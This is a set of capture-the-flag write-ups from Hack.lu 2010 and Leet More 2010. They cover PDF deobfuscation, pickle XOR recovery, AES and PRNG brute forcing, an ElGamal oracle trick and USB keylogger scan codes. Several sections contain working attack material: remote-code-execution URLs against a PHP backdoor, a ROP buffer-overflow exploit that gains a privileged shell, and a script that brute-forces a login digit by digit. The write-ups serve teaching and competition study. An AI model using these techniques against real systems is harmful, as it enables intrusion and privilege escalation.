Hack.lu 2010 CTF #3, #11, #14 (Most Epic Challenges :) writeup

Task #3 – Like skies that are so blue

Sometime even pirates have a lazy sunday…
download

0. 
1. Open in your favorite image editor (ms paint)
2. Do a fill:
3. Md5 of the original file is the answer: 032c49411912397eea2a7d906dab5f7e

Task #11 – Ecrime Business

Cap’n Bill Greasepalms wants to start an ecrime business.
If you want to join his crew you have to proof your pdf skillz.
Get the secret key and you get 100 coins.
download

This one has two character encodings inside:
1. #XX means chr(0xXX)
2. \ooo means chr(octdec(ooo))
Also, it has extra “\\\r\n” sequences for obfuscation.

Script for stripping the obfuscation:

<?php
$f = file_get_contents("ecrime.pdf");
$f = preg_replace('/#([a-f0-9]{2})/sie', 'chr(hexdec("$1"))', $f);
$f = preg_replace('#\\\\(\d{3})#sie', 'chr(octdec("$1"))', $f);
$f = str_replace("\\\r\n", '', $f);
file_put_contents("ecrime.out.pdf", $f);
?>

Inside ecrime.out.pdf, a javascript is easily noticed. Replace eval with alert and execute in a browser: [ecrime_js.htm]

Answer: 45cd5f86ea1b489e4a5e86b98

Task #14 – Captain Flints Key

Little Bobby Flint was able to download a file containing the key for Captian Flints treasure chest.
Unfortunately the download finished incorrectly and the file is corrupt.
Help him to recover the key and gain 200 gold coins.
download

1. Rebuild the zip archive using WinRAR: [rebuilt.dump.zip]
2. Extract org.exe (crc won’t match)
3. Rebuild orig.exe using PETools: [org_rebuilt.exe]

> org_rebuilt.exe
The Key is: 183808af

Hack.lu 2010 CTF #17 (Brainfuck) writeup

You found a backdoor on Captain Brainfuck’s webspace. Exploit it and read his secret file!

The page only says ‘happy hacking’, so what would we be doing without its source… [source mirror]

“Source” in fact is a zip archive with php code appended:

PK <..zip binary trash..>
<?php @ob_clean();$z=zip_open(__FILE__);
eval($f=zip_entry_read(zip_read($z),1000));@ob_end_flush();?>

It simply reads itself (the zip part), unpacks and executes it. The packed source is below, edited to be readable:

<?php
/* hacklu ctf*/
class _ {
 public $x = null;
 
 function __construct() {
  $this->x = "r";
 }
 
 function __destruct() {
  @call_user_func("phpinfo()", $x);
 }
}

$omni = "/(?:@[\w-]+\s*\()|(?:]\s*\(\s*[\"!]\s*\w)|";
$t = 1;
$a = preg_replace('/\$/', "", $a = @$_SERVER[PHP_SELF]);
$_ = create_function('$_,$o', '$chr = @unserialize(); 
                                           return ${chr($_−−)};');
$_--;
$l = levenshtein(__DIR__, $a);
$l = new _();
$r = $l->x;
$multi = "(?:<[?%](?:php)?(.*)(?:[?%]>)?)" 
                                . '|(?:;[\s\w|]*\\$\w+\s*=)';
$o = substr($f, 198, 12);
$semi = "|(?:\$\w+\s*=(?:(?:\s*\$?\w+\s*[(;])|";
$semi .= "\s*\".*\"))|" . '(?:;\s*\{\W*\w+\s*\()/';
$_ = ${$_(str_repeat($t, 3), "o" . __METHOD__)}('$omni.' . $multi 
                                  . '.$semi', '$' . $t, __CLASS__ . $a);
printf("%s", die("happy hacking"));
?>

Let’s examine what does this code do. I’ll write some comments on lines that i find non-trivial:

$a = preg_replace(/\$/, “”, $a = @$_SERVER[PHP_SELF]);

Strips all $ chars from $_SERVER[‘PHP_SELF’] and stores it into $a.
$_SERVER[‘PHP_SELF’] contains the script name from query to http server.
For example:
https://213.251.165.94/Brainfuck/login.php
$_SERVER[‘PHP_SELF’] == “/Brainfuck/login.php”
https://213.251.165.94/Brainfuck/login.php/preved
$_SERVER[‘PHP_SELF’] == “/Brainfuck/login.php/preved”, although the executed script is login.php

$_ = create_function(‘$_,$o’, ‘$chr = @unserialize();
                                           return ${chr($_−−)};’);

Defines a new lambda function, that takes two arguments $_, $o and returns the value of variable thats name is character with code of function’s first argument %-)
To simplify, an example: func(65, 0) == $A (because chr(65) == “A”).
Oh, and the lambda func is stored into variable $_

$o = substr($f, 198, 12);

Gets part of string stored in $f, and $f doesn’t have a definition in the code. Hm, strange…
At first I thought it should be assigned via register_globals, but then i looked into original unzip code, and saw this:
eval($f=zip_entry_read(zip_read($z),1000));
So $f is the executing code itself, and $o gets “preg_replace”

Okay, the fun part :)

$_ = ${$_(str_repeat($t, 3), “o” . __METHOD__)}(‘$omni.’ . $multi
                                  . ‘.$semi’, ‘$’ . $t, __CLASS__ . $a)

str_repeat($t, 3) == “111”

“o” . __METHOD__ == “o” (__METHOD__ is empty outside a class)

$_(str_repeat($t, 3), “o” . __METHOD__) == $_(111, “o”) == ${chr(111)} == $o == “preg_replace” (remember our lambda function?)

$_{“preg_replace”}( …. ) is invoking the function preg_replace, so 1st parameter is regexp, 2nd is replacement value and 3rd is target string

1st param == ‘$omni.’ . $multi . ‘.$semi’ == ‘$omni.(?:<[?%](?:php)?(.*)(?:[?%]>)?)|(?:;[\s\w|]*\\$\w+\s*=).$semi’, a regexp that matches for example a string:
omnia<%php12345 and after matching $1 == “12345”

2nd param == ‘$’ . $t == ‘$1’, meaning the first regexp match ($1)

3rd param == __CLASS__ . $a == $a (__CLASS__ is also empty), $a contains $_SERVER[‘PHP_SELF’]

And thanks to E flag ($bla bla bla$sEmi) of regexp, the $1 match gets executed as php code!

Well, putting all of this together, the URL to get arbitrary code executed on the server is:
https://213.251.165.94/Brainfuck/login.php/omnia%3C%25phpCODE

Let’s try this with phpinfo();: [click] – works brilliantly!
Now let’s get a directory listing. We can’t use system(): safe_mode is On, so we gonna stick to raw php code:
print_r(glob(‘*’))
Oops, a problem! The quotes get escaped and our code doesn’t execute. And we can’t use * without quotes, because it can’t be a name of a constant.

I used an awesome php string trick to overcome this limitation:
1. ~string means a string in which all bits are inverted. E.g. ~”preved” == “\x8F\x8D\x9A\x89\x9A\x9B”
2. BLABLA gets converted into “BLABLA” if constant BLABLA doesn’t exist and name consists of legal chars for constant name: [a-zA-Z0-9_-] and [\x80-\xFF]

When the string consists of basic ascii chars (0-127), it’s negated twin securely consists only of [\x80-\xFF] chars, and will be converted to string even without quotes.

Returning to the task, ‘*’ == ~”\xD5″ == ~%D5

https://213.251.165.94/Brainfuck/login.php/omnia%3C%25phpprint_r(glob(~%D5)) does its work:
“Array ( [0] => login.php [1] => login.phps [2] => secretKeyStore )”

You can read the secretKeyStore file without any string tricks:
https://213.251.165.94/Brainfuck/login.php/omnia%3C%25phpreadfile(secretKeyStore)
“congrats! your key: b12d2dc97ff4f4b52fa7dbdb6210d517

Hack.lu 2010 CTF #16 (Rattlesnake’s Riddle) writeup

Solve this riddle to impress Captain Rattlesnake!
download

The .pyc file is a byte-compiled python code, and there is a wonderful tool called uncompyle to deal with it.

$ decompyle secret.pyc > secret.py

The decompyled file:
1. Takes 3 arguments
2. Checks 2nd to be 1337
3. Calculates ‘token‘ value, which is 11111112671
4. After some obscure checks, calculates binary sha1 of “adsf” . (token + argv[3])
5. Uses this binary hash as a key to deXOR a crypted cPickle piece of data
6. Unserializes the data, dexors it using argv[1] and prints it out.

First, we needed to get the cPickle data. Instead of bruteforcing the sha1 value, we attacked the xor key itself: it is only 20 bytes long.

*** Now cutting to hellman who will explain how to do it !

When you want to break a cipher, a good thing to know is a kind of the expected plaintext. We know, it’s a dump made with the cPickle python module. Let’s play with it a bit:

>>> import cPickle
>>> import redbeard
>>> pl = redbeard.Player("hellman")
>>> cPickle.dumps(pl)
"(ibattleships\nPlayer\np1\n(dp2\nS'rand'\np3\ncrandom\nWichmannHill
\np4\n(tRp5\n(I1\n(I16656\nI13508\nI1\ntp6\nNtbsS'name'\np7\nS'hellm
an'\np8\nsb."
>>> a = [100, "teststring", 1337]
>>> cPickle.dumps(a)
"(lp1\nI100\naS'teststring'\np2\naI1337\na."
>>> b = [a, {"x": 100, "y": 200}]
>>> cPickle.dumps(b)
"(lp1\n(lp2\nI100\naS'teststring'\np3\naI1337\naa(dp4\nS'y'\nI200\ns
S'x'\nI100\n
>>> cPickle.dumps(list)
'c__builtin__\nlist\np1\n.'

We can find here some rules:
1. if a dumping thing is an object (which is the most probably), the dump starts with ‘(‘
2. there are lots of p<N>\n, where N is growing from 1 to some number
3. S’ means start of a string
4. \n follows a string closing quote
5. the last byte is ‘.’

I wrote a small php script to simplify guessing. So, let’s begin.
Notice: ¬ is used to show newline character ( “\n” ) to make the output looking straight

  • Last byte is ‘.’ so let’s write: 10 19 .
  • Also let’s think it’s an object: 0 0 (

Now we have:

-----01234567890123456789
  0: (******************r
  1: p******************¬
  2: a******************z
  3: '******************K
  4: F******************p
  5: 9******************g
  6: F******************p
  7: 1******************G
  8: F******************p
  9: 1******************'
 10: V******************.
  • Look at 3 1. Before is ‘z’ so it’s a string’s end: 3 1 \n
  • Look at 9 18: next byte after is ‘V’, so it’s not
    a string’s end. Then, ‘S’ must prepend that: 9 18 S
-----01234567890123456789
  0: (l****************'r
  1: p*****************2: aS****************rz
  3:****************WK
  4: F'****************¬p
  5:****************'g
  6: F[****************¬p
  7: 12****************'G
  8: F\****************¬p
  9: 15****************S'
 10: VZ****************a.
  • Same trick at 0 17: 0 17 S
  • Look at the beginning of line #2 p4\naS – should be a string: 2 2 ‘

Currently we have:

-----01234567890123456789
  0: (lp**************S'r
  1: p*j**************p4¬
  2: aS'***************rz
  3: '¬p**************'WK
  4: F'¬**************'¬p
  5: 9¬a**************S'g
  6: F[[**************'¬p
  7: 12¬**************S'G
  8: F\\**************'¬p
  9: 15¬**************aS'
 10: VZ[**************¬a.
  • Start of a string at 3 16: 3 16 S
  • 0 3 – should be (lp1\n: 0 3 1,0 4 \n
  • 4 5p8 ends: 4 5 \n
  • 0 6 string beginning: 0 6 ‘

Now we have:

-----01234567890123456789
  0: (lp1¬S'*********aS'r
  1: p*j'¬p3*********¬p4¬
  2: aS'iuxt*********q*rz
  3: '¬p6¬aS*********S'WK
  4: F'¬p8¬a*********b'¬p
  5: 9¬aS'dO*********aS'g
  6: F[[@Z'¬*********E'¬p
  7: 12¬aS']*********aS'G
  8: F\\'¬p1*********T'¬p
  9: 15¬aS'Z*********¬aS'
 10: VZ[VGPA*********7¬a.

Some more easy-guessed steps:

  • 1 7 \n
  • 4 8 ‘

Also we can notice an \n before each aS’. It’s useful!

  • 0 15 \n
  • 3 14 \n
  • 2 9 \n
  • 1 10 ‘
  • 3 11 \n
  • 0 12 \n
  • 0 13 p

Finally, we got it! The final picture:

-----01234567890123456789
  0: (lp1¬S'Dxzr'¬p2¬aS'r
  1: p*j'¬p3¬aS'krhh'¬p4¬
  2: aS'iuxto'¬p5¬aS'q*rz
  3: '¬p6¬aS'HO'¬p7¬aS'WK
  4: F'¬p8¬aS'VKJR\x0b'¬p
  5: 9¬aS'dORDL'¬p10¬aS'g
  6: F[[@Z'¬p11¬aS'HJE'¬p
  7: 12¬aS']D^^'¬p13¬aS'G
  8: F\\'¬p14¬aS'_P\\T'¬p
  9: 15¬aS'Z]G\\'¬p16¬aS'
 10: VZ[VGPAP\x1b'¬p17¬a.

Enter “save” to save the key and the dump:

> save

Dump and key saved!
$ cat dump.cp
(lp1
S'Dxzr'
p2
aS'rp}j'
p3
...
p15
aS'Z]G\\'
p16
aS'VZ[VGPAP\x1b'
p17
a.

*** Now cutting back to vos!

Now as we have the correct cPickle dump, we can bruteforce argv[1] as it has only 256 meaningful values – the chars. This is what different values of argv[1] give us: out.txt.

Some kids piss their name in the snow. Chuck Norris can piss his name into concrete. looks much like an answer ;)

Hack.lu 2010 CTF Challenge #8 Writeup

Sad Little Pirate (150)
Our sad little pirate haes lost his password.
It is known that the pirate has just one hand left; his left hand. So the paessword input is quite limited. Also he can still remember that the plaintext started with “674e2” and his password with “wcwteseawx” Please help the sad pirate finding his plaintext.

Ciphertext

0x40, 0x40, 0xa9, 0x8a, 0xd1, 0xae, 0x25, 0xdf, 0x8b, 0xe9,
0x7d, 0xf6, 0x5f, 0x90, 0xa9, 0x80, 0x97, 0xf3, 0x95, 0x80,
0xe4, 0x11, 0x65, 0x55, 0x0a, 0xdc, 0xf8, 0x29, 0x41, 0x7b,
0x00, 0x2c, 0x0f, 0x81, 0xb3, 0xb1, 0xbc, 0xdc, 0x83, 0x91,
0x1e, 0x06, 0x52, 0xd8, 0xa9, 0x28, 0x04, 0x35, 0x41, 0x6a,
0x33, 0x2f, 0x7a, 0x3f, 0x8b, 0x34, 0x91, 0x24, 0x9b, 0x3b,
0x66, 0x96, 0x25, 0x0c, 0x4c, 0x24, 0x36, 0xe6, 0x62, 0x1d,
0x0c, 0xf2, 0x38, 0x2b, 0x2d, 0x7e, 0x24, 0x8f, 0x08, 0x76,
0x92, 0xd0, 0x6a, 0xeb, 0x23, 0x29, 0x1b, 0x47, 0x96, 0x24,
0x45, 0xcd, 0x76, 0x47, 0x99, 0xdf, 0x49, 0x7c, 0xf2, 0xc3,
0xcc, 0x02, 0xd1, 0xbe, 0xb7, 0xe1, 0xae, 0xed, 0xe6, 0x82,
0x37, 0x30, 0xc3, 0xd2, 0x92, 0x08, 0x0f, 0xde, 0xa5, 0x21,
0xd9, 0x8b, 0xf8, 0xde, 0x60, 0x7c, 0x0e, 0x29

There is a nice hint that cipher is AES ( there were words ‘haes‘, ‘paessword’). Also, the pirate has only left hand, so the charset is “12345qwertasdfgzxcvb”.

Nothing special, use source and AES implementation, header to get the password:

$ gcc rijndaelbrute.c rijndael.c -O9 -o brute && time ./brute 2
Key: wcwteseawxqgvaqg
Text: 674e2ea5b6d8fcdb49a3cf70bf5679202a7776d-YOU-
MADE-IT-12bb1bceee69532bc830cb2ff8fc93f6c2c2ea4e5e
05d20f778736214bb814583a29ef0a4048
Bruteforce ended

real    0m4.246s
user    0m7.096s
sys    0m0.548s

The flag is:
674e2ea5b6d8fcdb49a3cf70bf5679202a7776d-YOU-
MADE-IT-12bb1bceee69532bc830cb2ff8fc93f6c2c2
ea4e5e05d20f778736214bb814583a29ef0a4048

Hack.lu 2010 CTF Challenge #7 Writeup

Breiers Deathmatch (150)
Schnuce Breier has challenged you to a cryptographer’s deathmatch.
Connect to pirates.fluxfingers.net 8007/tcp and get the secret number.

$ nc pirates.fluxfingers.net 8007
Hi. This is your friendly 'Decryption Oracle'
We have implemented a well-known public-key cryptosystem. Guess which ;)

Modulo: 5628290459057877291809182450381238927697314822133923421169378
062922140081498734424133112032854812341
Generator: 99
Public Key: 135744434201778324839308712462911647727754874814096844915
5264250239122362719894347099351280643528244
Ciphertext: (44750535504622985677351849167148532593337860047243938284
03819968944371696234280482660523326406427034, 40867215175893797288404
946257736816173818197916450869030897144967500283290022490653051180592
71096141)
Insert your Ciphertext-Tuple for me to decrypt - comma seperated (e.g.
5,6)
>>> 44750535504622985677351849167148532593337860047243938284038199689
44371696234280482660523326406427034, 40867215175893797288404946257736
81617381819791645086903089714496750028329002249065305118059271096141
Duh! This would be too easy, right?

Ciphertext consists from 2 numbers, it should be an El Gamal cryptosystem.
In El Gamal, the public key is (p,g,y=g^x). We know them:
p is Modulo
g is Generator
y is Public Key

Encryption algorithm:
k – random (ephemeral key)
c1 = g^k (mod p)
c2 = M * y^k (mod p)

(c1, c2) is ciphertext

Decryption:
M = c2/(c1^x) (mod p)

We are to make the service to decrypt the message, without giving ciphertext to him in it’s initial form. It’s pretty easy, we can multiply c2 by 2 and then divide the result by two:
So, we send (c1, c2*2), receive M2 = c2*2/(c1^x) (mod p) and calculate M = M2/2 (mod p):

$ nc pirates.fluxfingers.net 8007
Hi. This is your friendly 'Decryption Oracle'
We have implemented a well-known public-key cryptosystem. Guess which ;)

Modulo: 5628290459057877291809182450381238927697314822133923421169378062
922140081498734424133112032854812341
Generator: 99
Public Key: 135744434201778324839308712462911647727754874814096844915526
4250239122362719894347099351280643528244
Ciphertext: (41825515265437061640942636436479629462349412223362537818815
60365619622829030601031151502516559081608, 15384270178209934586156113242
39137557460949040901187143519958777947772936657937341638294059899245093)
Insert your Ciphertext-Tuple for me to decrypt - comma seperated (e.g. 
5,6)
>>> ^Z                                                                                                   
[1]+  Stopped                 nc pirates.fluxfingers.net 8007

$ py
Python 2.6.5 (r265:79063, Apr 16 2010, 13:09:56) 
[GCC 4.4.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 15384270178209934586156113242391375574609490409011871435199587779477
72936657937341638294059899245093*2
307685403564198691723122264847827511492189808180237428703991755589554587
3315874683276588119798490186L
>>> 
[2]+  Stopped                 python

hellman@hellpc ~/Temp/hacklu/7 $ fg 1
nc pirates.fluxfingers.net 8007
418255152654370616409426364364796294623494122233625378188156036561962282
9030601031151502516559081608,3076854035641986917231222648478275114921898
081802374287039917555895545873315874683276588119798490186 
Decrypted:
1772769743432258561317602
^C

hellman@hellpc ~/Temp/hacklu/7 $ fg 2
python
>>> 1772769743432258561317602/2
886384871716129280658801L

It’s not obvious, but the flag is 886384871716129280658801.

Hack.lu 2010 CTF Challenge #10 Writeup

#10 – Chip Forensic

To solve this task we have something like this (original image is lost)

and hex string:
0B 12 0F 0F 1C 4A 4C 0D 4D 15 12 0A 08 15.

What we see on image? Some USB device. Those who have seen them on ebay or on other sites knows that it is USB-keylogger. If you see them for first time use image search(e.x. tineye.com) or just guess.

Well, now we know it is keylogger. So hex string might be a log of USB-keyboard protocol. But organizators have simplified this task(. They put in hex string only scan-codes without synchronization signals. So just use table of USB-keyboard scan-codes.

0B 12 0F 0F 1C 4A 4C 0D 4D 15 12 0A 08 15
H O L L Y Home Delete J End R O G E R

So “JOLLYROGER” was typed.

Hack.lu 2010 CTF Challenge #5 Writeup

Captain Redbeard’s Battleships (500)
While pirating-out a bit, you run into Captain Redbeard and his armada of ghost ships.
source1, source2
pirates.fluxfingers.net 2204 /tcp.

It is a Battleships game. We have to win Cpt. Redbeard 3 times in a row, to get the flag. First time he shots every 3 ships from 5, than 4 from 5, and in the final battle he doesn’t give us a chance for mistake at all.

Quick look through the source don’t show any vulneravilities. So, probably, we have to ‘guess’ ships placement. Let’s look at random functions used:

def __init__(self, name):
    self.name = name

    #init Wichmann-Hill prng with 256 bits (32*8) seed
    self.rand = random.WichmannHill(os.urandom(32))

def randInt(self, low, high):
    r = self.rand.randint(low,high)
    return r

After Player instance is initialized, all its methods use self.randInt() to get random numbers. CaptainRedbeard class uses randInt() in three places:
1. in _createBoardRandom(), inherited from Player class
2. in his messages (random from msgSuccess and msgFail)
3. when he wants to miss (each 4th and 5th shot in first game)

os.urandom(32) has 256 bits,we cant’ guess that. But does Wichmann-Hill PRNG use it properly?
Let’s look:

>>> import random
>>> import os
>>> rand = random.WichmannHill(os.urandom(32))
>>> for i in range(15):
...     rand = random.WichmannHill(os.urandom(32))
...     print rand.getstate()
... 
(1, (24488, 25495, 30321), None)
(1, (16665, 26259, 30322), None)
(1, (17370, 9334, 30321), None)
(1, (23963, 22211, 30321), None)
(1, (27292, 15574, 2), None)
(1, (23350, 8484, 1), None)
(1, (1257, 29985, 30321), None)
(1, (27580, 14174, 2), None)
(1, (21443, 4841, 30321), None)
(1, (13463, 21032, 2), None)
(1, (16971, 8873, 30321), None)
(1, (4171, 2111, 30322), None)
(1, (12437, 2108, 3), None)
(1, (11168, 24161, 30320), None)
(1, (20273, 11633, 30322), None)

Isn’t it strange about the fourth number? It has only 5 different values. Two other numbers are probably in range [0, 32000]. So there are 5×32000×32000=5120000000 different states. It’s rather bruteforceable ;)

So, we have to receive some random numbers from Captain Redbeard, then bruteforce the initial state and compute ships’ positions.

I wrote a C implementation of WichmanHill’s PRNG, using the jython’s code.
(later I found similar code in /usr/lib/python2.6/random.py).
The resulting bruteforcer is here. Random numbers sequence is to be inserted directly in source, I know it’s rude, but it’s fast and saves much time.

My bot uses classes from game sources. Creating a Redbeard class needs a socketserver. I simply commented 48 line in redbeard.py (it is self.printMsgLine(“blablabla”)). This prevents using the socketserver’s methods.

Finally, the bot source is here. Let’s try it:

$ py bot.py 
Collected 18 randoms.
Source generated, run ./brute 4
Waiting for seed:

Now bot asks the seed. This allows you to run bruteforcer at another PC or server and then simply enter seed numbers here. So, after ~15 minutes:

Waiting for seed: 14781 13592 2
...

Won first battle.
...

Won second battle.
...

GOT FLAG:
    Here are your 500P: 2bf847b8efa3997550020f

The flag is: 2bf847b8efa3997550020f

Hack.lu 2010 CTF Challenge #19 Writeup

Magicwall (400)
Captain Hook found the following link after looting his last frigate.
He heard that the file flag on this system is worth 400 coins.
Give him this file and he will reward you!
ssh: pirates.fluxfingers.net:7022
user: ctf
password: ctf

In the box, there was a suid executable, which we were to compromise to get the flag. Here is it’s rebuilded source:

int main (int argc, char * argv[])
{
    unsigned int DEFACED; // [bp-ACh]
    int sum;              // [bp-A8h]
    int i;                // [bp-A0h]
    char buffer[136];     // [bp-98h]
    char *dest;           // [bp-10h]
    int saved_protector;  // [bp-Ch]

    saved_protector = global_protector;
    sum = 0;
    DEFACED = 0xDEFACED;
    if (argc <= 2)
    {
        fprintf(stderr, "Give me more!\n");
        return -1;
    }

    dest = buffer;
    for ( i = 0; i < strlen(argv[1]); ++i )
    {
        argv[1][i] ^= *((unsigned char *)&DEFACED + i % 4);
        if ( !(i & 3) )
            sum += argv[1][i];
    }
    
    strcpy(dest, argv[1]);
    if ( atoi(argv[2]) == sum )
        strcpy(dest, argv[1]);
        
    if ( saved_protector != global_protector )
    {
        puts("This move was absolutely NOT cool!");
        exit(1);
    }

    return 0;
}

We have a buffer overflow vulnerability with stack protection (the cookie is got from /dev/urandom). Also nx bit is set (stack is non-executable).

Obviously, we shouldn’t overwrite the stack cookie ( saved_protector ), this means path to main’s return is not straight forward. A good thing is that destination buffer to strcpy is passed in variable dest, which lies right before the stack cookie. So we can overwrite dest with first strcpy and then overwrite whatever-we-need with the second.

If we overwrite dest with address of return address of main function (which is 0xbfffxxxx), we will spoil the cookie with \x00 byte (strcpy does this evil). One way is to do a millions of tries, until stack cookie will be 0xXXXXXX00. But there is a more stable way – we can overwrite return address from the second strcpy call, during it’s execution. So, the cookie check won’t be executed, because we’ll return to whatever-we-need, not to main function.

Now it’s time to think where we want to return. Don’t forget, stack is non-executable, so we should use some Return Oriented Programming (ROP). Also, ROP code mustn’t contain null bytes (because of strcpy). There’s not too much code in the binary, so we can search for ROP gadgets manually. I found a nice block of code in __do_global_ctors_aux, which contains all that I need:

loc_8048833:
.text:08048833                 sub     ebx, 4
.text:08048836                 call    eax
.text:08048838                 mov     eax, [ebx]

loc_804883A:
.text:0804883A                 cmp     eax, 0FFFFFFFFh
.text:0804883D                 jnz     short loc_8048833
.text:0804883F                 pop     eax
.text:08048840                 pop     ebx
.text:08048841                 pop     ebp
.text:08048842                 retn

A nice thing is that glibc address is static. This prevents from running exploit several times, waiting for addressed to coinside. Let’s get system address:

ctf@Magicwall:~$ mkdir /tmp/mastaa
ctf@Magicwall:~$ cd /tmp/mastaa
ctf@Magicwall:/tmp/mastaa$ gdb ~/magicwall 
...
(gdb) b main
Breakpoint 1 at 0x804851d
(gdb) r
Starting program: /home/ctf/magicwall 

Breakpoint 1, 0x0804851d in main ()
(gdb) p/x &system
$1 = 0x1672a0

ROP code to call system(“sh ;”) (0x1672a0):
1. First, I want to put some return‘s addresses. Here they will act like nops in normal shellcode and will make guessing address of return address of strcpy easier. The address to return is: 0x08048842.
2. Next, I will use pop ebx, pop ebp, retn to load ebx. This ROP gadget has address 0x08048840.
3. After that, I want jump to address, stored in [ebx] (in dword, addressed by ebx). 0x08048838 will do this. There are more simple ways, like pop esi, and call esi, but the address contains a null byte, so we can’t store it in our ROP code.
How then can we use [ebx]? The trick is to export some environment variables. They are null terminated, so we will find “\xa0\x72\x16\x00” somewhere in the stack and put it’s address in ebx. “sh ;” string also will be there.
4. And at last, system function needs an argument.

Let’s get our env addresses:

$ export Z="`perl -e 'print ";sh "x128;'`"
$ export syst="`perl -e 'print pack("V", 0x1672a0)'`"
$ gdb --args  ~/magicwall "`perl -e 'print "A"x140;'`" 12345
...
(gdb) b main
Breakpoint 1 at 0x804851d
(gdb) r
Starting program: /home/ctf/magicwall AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 12345

Breakpoint 1, 0x0804851d in main ()
(gdb) x/100s 0xc0000000-512
0xbffffe00:     "sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;s
h ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;
sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh 
;sh ;sh ;sh ;sh ;"...
0xbffffec8:     "sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh "
...
0xbffffef4:     "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/us
r/bin:/sbin:/bin:/usr/games"
0xbfffff9e:     "syst=�r\026"
...
(gdb) x/20xw 0xbffffe00-32
0xbffffde0:    0x3b206873    0x3b206873    0x3b206873    0x3b206873
0xbffffdf0:    0x3b206873    0x3b206873    0x3b206873    0x3b206873
0xbffffe00:    0x3b206873    0x3b206873    0x3b206873    0x3b206873
0xbffffe10:    0x3b206873    0x3b206873    0x3b206873    0x3b206873
0xbffffe20:    0x3b206873    0x3b206873    0x3b206873    0x3b206873
(gdb) x/1s 0xbffffe04
0xbffffe04:     "sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh
 ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;
sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh"...
(gdb) x/1xw 0xbfffff9e+5
0xbfffffa3:    0x001672a0
(gdb) p/x $esp
$1 = 0xbffff940

So, system address is stored at 0xbfffffa3, the argument is at 0xbffffe04. Approximate value of address of return address from strcpy is 0xbffff940. That address should be in the middle of ret-sled, so a place for our ROP code is some dwords before (0xbfffff904 looks ok)

Here is a perl script to generate payload and the checksum.

$ gdb --args ~/magicwall "`perl pwn.pl`" "`perl pwn.pl sum`"
..
(gdb) r
Starting program: /home/ctf/magicwall ... 1930
$

Got a shell! Cool, but only under gdb. The addresses differ, so we need to try some offsets. Perl script for that.

ctf@Magicwall:/tmp/mastaa$ perl syspwn.pl 
bffff904 bffffe04 bffffff0 (2009): 
...
bffff904 bffffe07 bfffff7c (2152): 
bffff904 bffffe04 bfffff7b (2148): sh: h: not found
$ id
uid=1000(ctf) gid=1000(ctf) euid=1001(winner) egid=1001(winner) groups=1000(ctf)
$ cat /home/ctf/flag
C_IS_FOR_C00KIE

Flag: C_IS_FOR_C00KIE

Hack.lu 2010 CTF Challenge #18 Writeup

Digital Treasure Chest (300)
You were asked to pentest the 1.1 beta-version of the digital treasure chest.
Finding an authentication bypass appears to be trivial to you.
pirates.fluxfingers.net 6969/tcp

$ nc pirates.fluxfingers.net 6969
010 WELCOME. Please Enter your secret digits
0
555 Wrong credentials

If we try some more numbers, we will get:

$ nc pirates.fluxfingers.net 6969
010 WELCOME. Please Enter your secret digits
9
011 Continue
5
555 Wrong credentials

Easy to guess, we are wanted to bruteforce secret digits, one by one (not the whole number). Here is a simple php script for that:

<?php

    $key = "";
    while (1) {
        for ($i = 0; $i < 10; $i++) {
            $f = fsockopen("pirates.fluxfingers.net", "6969");
            fgets($f);
            fwrite($f, "$key$i\n");
            $s = fgets($f);
            if (strpos($s, "011") !== false) {
                $key .= $i;
                echo $i;
                break;
            }
            if (strpos($s, "555") === false) {
                echo "\nSTRANGE ANSWER (key={$key}{$i}): $s\n";
                die();
            }
        }
    }
   
?>

Running it:

$ php pwn.php 
9200372140803765602
STRANGE ANSWER (key=92003721408037656022): 100 Login successful

$ nc pirates.fluxfingers.net 6969
010 WELCOME. Please Enter your secret digits
92003721408037656022
100 Login successful
help
310 Command listing

version     (show version number)
list        (list treasure chests)
show N      (show content Nth chest)
empty       (empty the Nth chest - not available yet)
fill N M    (fill Nth chest with M gold - not available yet)
quit        (quit)

list
310 Listing chests:

1) DTCE Monthly Newsletter
2) damn secret
3) Welcome to our Digital Treasure Chest Enterprise

show 2
310 ---------------
 damn yer those bloody royal guards. I just want my rrrrum!
also, the Key is 'f00k1namaZ!ng'

Funny: A pirate does not "go shopping". Unless by "shopping", you mean "killing". 
---------------

The flag: f00k1namaZ!ng

Leet More 2010 Lottery writeup

Warning! There are at least two ways of solving this task.

Look at HTML sources. Try to find web-framework running the lottery.
It is “Nitrogen”- Web Framework for Erlang. To generate random numbers Erlang have module random.
To get random Int we have function  uniform(MaxInt)->Int

So example of code for generating number for lottery is

But for every request Nitrogen would generate new PID and random:unifom(X)  generates the same sequence for each PID if X is equally because of function definition:

So we need to seed our random generator. Think about what options we can use.  Time? No (you may try, it is easy to check). Participant? Yep, let’s try.

Here sources of functions that we need:
Default seed.

Functions of Users seed.

And finally pseudo random generation

I think this code is easy understandable. Based on this algorithm we can determine that task for generating random numbers used this code

or

Where Users = Participants-1.

PS. Another brilliant way that doesn’t require Erlang knowledge (based on pure math) was posted by “Worawit”. You can read it here

Leet More 2010 LameHackers writeup

Category: crypto

Greetings from LameHackers Inc.!
We have hacked into the internal Pentagon computer system and managed to steal their text-file-where-they-keep-the-root-password.
But the password doesn’t work :( Can you help us?
File

Ok, first of all I want to thank everyone participating in Leet More 2010, it was a cool competition, though on wednesday. And ofc congrats to Nibbles for the 1st place ;)
Now, to the writeup.

The task RAR archive contains two files:

password.txt‘s content is “VVoimlC0L7XC” (which is not the answer), and password_hint.txt is encrypted with a rar password.

There is no known attacks on rar encryption besides bruteforce, and it gives us nothing, so instead of attacking encryption, we’ll attack “side channel”.
